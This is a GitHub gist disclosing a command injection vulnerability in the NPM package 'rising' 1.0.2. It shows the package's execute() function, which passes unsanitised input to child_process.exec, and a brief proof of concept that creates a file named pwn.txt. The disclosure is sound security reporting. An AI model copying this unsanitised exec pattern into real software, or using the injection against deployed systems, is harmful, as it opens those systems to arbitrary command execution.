Last active
November 11, 2023 14:16
-
-
Save Splint3r7/63586940c4d313389c8f1ca1b00cd9bf to your computer and use it in GitHub Desktop.
Revisions
-
Splint3r7 revised this gist
Nov 11, 2023 . 1 changed file with 1 addition and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,6 +1,6 @@ # Command Injection Vulnerability in Rising 1.0.2 Command injection vulnerability was identified in NPM package rising version 1.0.2 Resources: -
Splint3r7 created this gist
Nov 11, 2023 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,45 @@ # Command Injection Vulnerability in Rising 1.0.2 Command injection vulnerability was indented in NPM package rising version 1.0.2 Resources: * Project's NPM Package: https://www.npmjs.com/package/rising * Project's NPM JS registery: https://registry.npmjs.org/rising ## Code Analysis Background `child_process` has been utilized in the plugin to execute the command. A user input has been used which is not being sanitized, which allows an attacker to perform command injection through rising package. below is the code snippet that executes command without sanitizing it. ``` const child_process = require('child_process') // other code /** * Execute a (shell) command. * * @param String cmd Your command. */ function execute(cmd) { child_process.exec(cmd) } ``` ## Exploitation: POC: ``` const rising = require('./index.js'); rising.println('Hello, world!'); rising.execute('touch pwn.txt'); ``` Observer a new file pwn.txt will be created in the same directory. # Author Hassan Khan Yusufzai